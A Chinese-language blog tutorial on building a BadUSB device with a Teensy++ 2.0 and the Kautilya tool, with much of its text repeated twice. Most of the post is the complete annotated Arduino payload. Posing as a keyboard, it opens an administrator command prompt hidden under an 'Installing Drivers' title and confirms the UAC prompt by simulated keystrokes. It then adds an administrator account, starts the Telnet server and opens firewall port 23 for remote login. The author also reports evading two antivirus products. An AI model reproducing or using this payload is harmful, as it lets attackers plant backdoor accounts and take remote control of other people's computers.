badusb_payload(一)添加管理员用户
2015-12-03 21:20
816 查看
- 0x01前言
制作badusb的工具中,arduino用于将代码烧录到teensy++2.0上,其实这里我们用到的不是arduino,而是Arduino IDE, 真正的arduino是一块板子。。Teensyduino是arduino的一款插件,用于将代码烧录到Teensy++2.0上。Kautilya是12年黑客大会上公布的一款生成payload的工具,不晓得除了用在badusb上还能用在哪。若知道可以分享一下。
- 0x02制作流程
首先启动Kautilya, 选择1.Payloads for Windows.
然后选择5.Manage 再选择5,生成一个添加管理员用户和开启telent服务的payload
然后输入用户名和密码,它会在kautilya文件下生成payload文件。 然后启动teensyduino,
按照上篇文章写的配置好,最后启动arduino, 在tools中选择好teensy++2.0,
并选择usb类型是keyboard+mouse+joystick, 即把teensy++2.0伪装成键盘鼠标。
把payload直接拖进来即可,插上teensy++2.0,点击左上角的√,会生成一个小页面,写着让你按下teensy++2.0上面的reboot(重启)。按下后即完成烧录。成功后会显示 Reboot OK。
badusb已经制作完成,插入windows的电脑中即可添加管理员用户。
查看win7开启的服务,telnet服务已开启
使用kali进行telnet登录
成功!!
经测试,在win7上完美运行,可以远程telnet登录。win8,win10如果默认使用中文版的话,语言默认是中文,需要在payload中加入两段代码改变语言(详情看下面的payload中)。而且,win8默认telnet服务端和客户端功能没有添加, 需要在控制面板中添加功能后才行。
测试通过, 可以telnet登录win8。
win10则取消telnet服务端这一功能, 即只能作为telnet客户端,不能作为服务端。故无法telnet登录win10。
win_xp在启动cmd时,除了按下 win 键外,还要按下 R 键, 代码中有强调。而且发送完 R 键后, 必须清理缓存,否则出现
总的来说,payload非常不错,特别是绕过UAC检查,使用管理员身份启动cmd。直接输入cmd启动的是当前用户权限的cmd
代码中强制启动管理员cmd并绕过
个人觉得本身payload兼容性不是很好,没有注意中文和xp, 没办法,老外不会考虑中文。。。XP也老了。。。。。
win10 在使用
发生一些问题, 直接换做 cmd 就可以了
至于杀毒软件的问题,测试时绕过了 小红伞 和 AVG 一流杀毒软件,但却被360拦截下来。。。猜想添加用户并不是病毒行为,杀毒软件并没有把这种行为设置为黑名单,但360监控着系统,会弹出一个像 UAC 的确认页面,至于能不能像绕过 UAC 似的绕过360, 还没有测试。即使通过,则兼容性变得更差。。毕竟多按几个键会有影响。。至于其他 payload, 它们的行为会不会被检查还要做测试。
- 0x03payload代码分析
单单会使用是不够,我们还应该研究一些它的payload代码,百度并没有找到相关的教程。。大神么貌似不屑于传授。。只好自己慢慢分析。
首先, 烧录软件arduino ide使用的是一种全新的语言,跟c++java很类似,这种语言有专门的教程,但是这里的payload用到的仅仅是键盘,鼠标之类的很小一部分,个人觉得没有必要专门学习。
结构上,这种语言分为两部分
首先会执行setup()的代码,而loop()里的程序会不断循环执行。
下面是添加管理员用户和开启talent服务的payload,注释是我自己加的。
- 0x04后记
整个payload思路很简单,操作也不难。改掉usb启动的标识符,让操作系统认为这是一个键盘和鼠标的usb设备,然后输入预先设定好的命令,插入usb即可执行命令。
因为测试时为了调试等原因,延迟开的比较大,实际应用要自行设定合适值。
至于默认中文输入法的问题,其实加上那两段代码并不影响默认是英文输入法,推荐还是加上,增强兼容性。 毕竟作者不会考虑中文问题,自然不会在代码里有所判断。xp的 r 键, 只有xp才会需要, 要看实际情况了。
制作badusb的工具中,arduino用于将代码烧录到teensy++2.0上,其实这里我们用到的不是arduino,而是Arduino IDE, 真正的arduino是一块板子。。Teensyduino是arduino的一款插件,用于将代码烧录到Teensy++2.0上。Kautilya是12年黑客大会上公布的一款生成payload的工具,不晓得除了用在badusb上还能用在哪。若知道可以分享一下。
- 0x02制作流程
首先启动Kautilya, 选择1.Payloads for Windows.
然后选择5.Manage 再选择5,生成一个添加管理员用户和开启telent服务的payload
然后输入用户名和密码,它会在kautilya文件下生成payload文件。 然后启动teensyduino,
按照上篇文章写的配置好,最后启动arduino, 在tools中选择好teensy++2.0,
并选择usb类型是keyboard+mouse+joystick, 即把teensy++2.0伪装成键盘鼠标。
把payload直接拖进来即可,插上teensy++2.0,点击左上角的√,会生成一个小页面,写着让你按下teensy++2.0上面的reboot(重启)。按下后即完成烧录。成功后会显示 Reboot OK。
badusb已经制作完成,插入windows的电脑中即可添加管理员用户。
查看win7开启的服务,telnet服务已开启
使用kali进行telnet登录
成功!!
经测试,在win7上完美运行,可以远程telnet登录。win8,win10如果默认使用中文版的话,语言默认是中文,需要在payload中加入两段代码改变语言(详情看下面的payload中)。而且,win8默认telnet服务端和客户端功能没有添加, 需要在控制面板中添加功能后才行。
测试通过, 可以telnet登录win8。
win10则取消telnet服务端这一功能, 即只能作为telnet客户端,不能作为服务端。故无法telnet登录win10。
win_xp在启动cmd时,除了按下 win 键外,还要按下 R 键, 代码中有强调。而且发送完 R 键后, 必须清理缓存,否则出现
总的来说,payload非常不错,特别是绕过UAC检查,使用管理员身份启动cmd。直接输入cmd启动的是当前用户权限的cmd
代码中强制启动管理员cmd并绕过
个人觉得本身payload兼容性不是很好,没有注意中文和xp, 没办法,老外不会考虑中文。。。XP也老了。。。。。
win10 在使用
cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"
发生一些问题, 直接换做 cmd 就可以了
至于杀毒软件的问题,测试时绕过了 小红伞 和 AVG 一流杀毒软件,但却被360拦截下来。。。猜想添加用户并不是病毒行为,杀毒软件并没有把这种行为设置为黑名单,但360监控着系统,会弹出一个像 UAC 的确认页面,至于能不能像绕过 UAC 似的绕过360, 还没有测试。即使通过,则兼容性变得更差。。毕竟多按几个键会有影响。。至于其他 payload, 它们的行为会不会被检查还要做测试。
- 0x03payload代码分析
单单会使用是不够,我们还应该研究一些它的payload代码,百度并没有找到相关的教程。。大神么貌似不屑于传授。。只好自己慢慢分析。
首先, 烧录软件arduino ide使用的是一种全新的语言,跟c++java很类似,这种语言有专门的教程,但是这里的payload用到的仅仅是键盘,鼠标之类的很小一部分,个人觉得没有必要专门学习。
结构上,这种语言分为两部分
setup(){ ... ... }
loop(){ ... ... }
首先会执行setup()的代码,而loop()里的程序会不断循环执行。
下面是添加管理员用户和开启talent服务的payload,注释是我自己加的。
#define TEENSY2 #ifdef TEENSY2 #include<usb_private.h> #endif //首先定义一些字符串,即添加用户的cmd命令。 # define PAYLOAD_USER_ADD "net user aaa aaa /add" # define PAYLOAD_GROUP_ADD "net localgroup Administrators aaa /add" # define PAYLOAD_TELNETGROUP_ADD "net localgroup TelnetClients aaa /add" //主程序开始 void setup(){ //延迟3秒,刚插入usb口, 电脑有个识别的时间。 //后面代码中还有很多延迟的代码,主要是考虑到在实际使用时电脑可能在进行 //其他的操作,受用延迟保证代码的执行 //但是在测试中,因为只有badusb在使用,所以感觉延迟很大,这个具体可以 //视情况而定。 delay(3000); // 函数_判断capslock是否开启,并关闭capslock. // 具体实现过程请看后面的函数代码。 wait_for_drivers(2000); // 最小化所有窗口 // 具体实现过程请看后面的函数代码。 minimise_windows(); delay(500); // 调用函数cmd_admin() // 这个函数是主要内容,用于启动管理员的cmd,如果不成功,则一直循环执行 while(!cmd_admin(3,500)) { // 该函数其实是三次调用minimise_windows(),即 // 最小化所有窗口。 // 具体实现过程请看后面的函数代码。 reset_windows_desktop(2000); } // 核心函数_添加管理员用户 // 具体实现过程请看后面的函数代码。 add_user(); //启动Telent服务 Keyboard.println("pkgmgr /iu:\"TelnetServer\""); delay(10000); Keyboard.println("reg add \"HKLM\\System\\CurrentControlSet\\Services\\TlntSvr\" /v Start /t REG_DWORD /d 2 /f"); delay(2000); Keyboard.println("sc config TlntSvr start= auto"); delay(2000); Keyboard.println("sc start TlntSvr"); delay(2000); Keyboard.println("netsh firewall set portopening protocol = tcp port = 23 mode = enable"); delay(3000); Keyboard.println("exit"); } // setup()函数结束, 鉴于loop()为空,整个PAYLOAD也执行完毕。 //重复执行的代码,这里为空 void loop(){ } // 函数_添加用户 void add_user(){ delay(2000); //这里模拟键盘输入都是用的 keyboard。 //这里将前面定义的三条字符串输入进去。 //即添加管理员。 Keyboard.println(PAYLOAD_USER_ADD); delay(2000); Keyboard.println(PAYLOAD_GROUP_ADD); delay(1000); Keyboard.println(PAYLOAD_TELNETGROUP_ADD); delay(1000); } // 函数_判断capslock是否开启并关闭 void wait_for_drivers(int sleep) { //函数 is_cao_on()返回capslock状态 // 具体实现过程请看后面的函数代码。 bool CapsLockTrap = is_caps_on(); while(CapsLockTrap == is_caps_on()) { //按下 capslock //这里模拟键盘输入首先设定输入内容,send_key(), 存储在缓冲区中 //然后使用send_now()发送命令 Keyboard.set_key1(KEY_CAPS_LOCK); Keyboard.send_now(); delay(200); //释放 //每次send后都要释放掉存储在缓冲区的设定的内容。 //一对一释放,使用了 set_modifier 就要用 set_modifier(0) // 使用了 set_key1 就要用 set_key1(0) Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); delay(sleep); } //按下 capslock Keyboard.set_key1(KEY_CAPS_LOCK); Keyboard.send_now(); delay(200); //释放 Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); delay(sleep); } //两个小函数,通过键盘指示灯keyboard_leds判断capslock状态 //函数_键盘指示灯(caplocks) 是否开启capslock int ledkeys(void) {return int(keyboard_leds);} //函数_判断capslock是否开启 bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} //主要函数_启动具有管理员权限的cmd bool cmd_admin(int reps, int millisecs) { // 确保capslock关闭 make_sure_capslock_is_off(); delay(700); //按下 Win 键, MODIFIERKEY_RIGHT_GUI是 win 键 Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); /* xp系统添加这一行代码,用于按下 R 键 */ //Keyboard.set_key1(KEY_R); Keyboard.send_now(); //释放 Keyboard.set_modifier(0); /* xp系统添加这一行代码,用于清空缓存,否则出现按下一堆 RRRRR.... */ //Keyboard.set_key1(0); Keyboard.send_now(); delay(3000); /* 默认是中文输入法添加三行代码(win8, win10) */ //Keyboard.set_modifier(MODIFIERKEY_SHIFT); //Keyboard.send_now(); //delay(2000); //最小化启动cmd //这里启动的cmd窗口尽可能小,背景色也有调整,尽可能不让发现。 Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\""); delay(2000); /*** 启动UAC检查,win vista之后默认开启UAC检查,虽然有些用户关闭了,但 这样兼容性不够好,所以这里使用 ctrl+shift+enter 键启动UAC检查 即即使关闭UAC,这里也会开启UAC检查,若没有关闭UAC,则正常进行UAC 检查。保证良好的兼容性。 ***/ //首先按下 Ctrl 键并发送 ,但不懂为什么按下 ctrl, //去掉这条命令后正常运行 Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); //按下 Ctrl 和 Shift 和 Enter, 启动UAC检查。 Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); // 按下 Enter Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(200); //释放 Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); delay(7000); // 弹出UAC检查后选择 是 ,并确认。 // 具体实现过程请看后面的函数代码。 send_left_enter(); delay(4000); /* 默认是中文输入法添加三行代码(win8, win10) */ //Keyboard.set_modifier(MODIFIERKEY_SHIFT); //Keyboard.send_now(); //delay(2000); //这里函数创建一个vbs脚本,用于关闭 capslock create_click_capslock_win(); //判断capslock, 转换为小写 check_for_capslock_success_teensy(reps,millisecs); //这个payload中,反反复复检查多次capslock,也使用了多种方法。。。 } /*函数cmd()并没有调用,无法解释。。。。 看里面内容和上一个函数cmd_admin()功能类似,但是并没有调用 去掉整个函数后不影响正常使用 但还是做了些注释 */ bool cmd(int reps, int millisecs, char *SomeCommand) { make_sure_capslock_is_off(); delay(700); // Win 和 R 并发送,启动cmd Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); // 释放 delay(500); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(3000); //函数_创建一个vbs脚本,用于关闭 capslock create_click_capslock_win(); //判断capslock, 转换为小写 check_for_capslock_success_teensy(reps,millisecs); } // 不知有什么用的函数cmd()结束。 // 函数_capslock 判断大小写 void make_sure_capslock_is_off(void) { if (is_caps_on()) { delay(500); // 转化为小写并发送 Keyboard.set_key1(KEY_CAPS_LOCK); Keyboard.send_now(); delay(200); delay(700); // 释放 Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); delay(700); } } //创建一个vbs脚本,用于关闭 capslock void create_click_capslock_win() { Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs"); delay(400); Keyboard.println("wscript %temp%\\capslock.vbs"); delay(2000); } // 函数_用于检查capslock状态并关闭 bool check_for_capslock_success_teensy(int reps, int millisecs) { unsigned int i = 0; do { delay(millisecs); if (is_caps_on()) { make_sure_capslock_is_off(); delay(700); return true; } i++; } while (!is_caps_on() && (i<reps)); return false; } // 最小化所有窗口 win + M void minimise_windows(void) { // 发送 win + M Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); Keyboard.set_key1(KEY_M); Keyboard.send_now(); delay(300); //释放 Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); delay(300); } //三次调用最小化窗口函数 void reset_windows_desktop(int sleep) { delay(1000); minimise_windows(); delay(sleep); minimise_windows(); delay(sleep); minimise_windows(); delay(200); } // 在弹出的UAC检查中选择 是 并确认 void send_left_enter(){ delay(1000); // 选择 “是” Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); // 按下确认 Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); }
- 0x04后记
整个payload思路很简单,操作也不难。改掉usb启动的标识符,让操作系统认为这是一个键盘和鼠标的usb设备,然后输入预先设定好的命令,插入usb即可执行命令。
因为测试时为了调试等原因,延迟开的比较大,实际应用要自行设定合适值。
至于默认中文输入法的问题,其实加上那两段代码并不影响默认是英文输入法,推荐还是加上,增强兼容性。 毕竟作者不会考虑中文问题,自然不会在代码里有所判断。xp的 r 键, 只有xp才会需要, 要看实际情况了。
相关文章推荐
- 栈的数组实现
- java设计模式(五)--策略模式
- Linux内核同步机制之(七):RCU基础
- 将WAR包部署在tomcat根路径
- badusb(一)环境配置
- Servlet过滤器和监听器(转)
- 12.03自动机实验
- Android使用HttpClient时出现的 java.lang.NullPointerException提示
- Android 手势控制解锁,滑动图片,照相,音乐切换,收音机换台,短信界面打电话
- Codeforces 602B Approximating a Constant Range(RMQ)
- win7通过win10的ISO镜像免费升级正版win10(组图)
- java---一元二次方程练习
- JS的__proto__与prototype
- String使用经验
- STM32基础学习
- 宽度为100%的位图面对屏幕放大的解决办法(可拼接时)
- Light oj--1275(二次函数)
- 清汤酸菜鱼的做法
- Spark1.5.2安装--Spark学习(基础)
- Failed to load JavaHL Library解决方法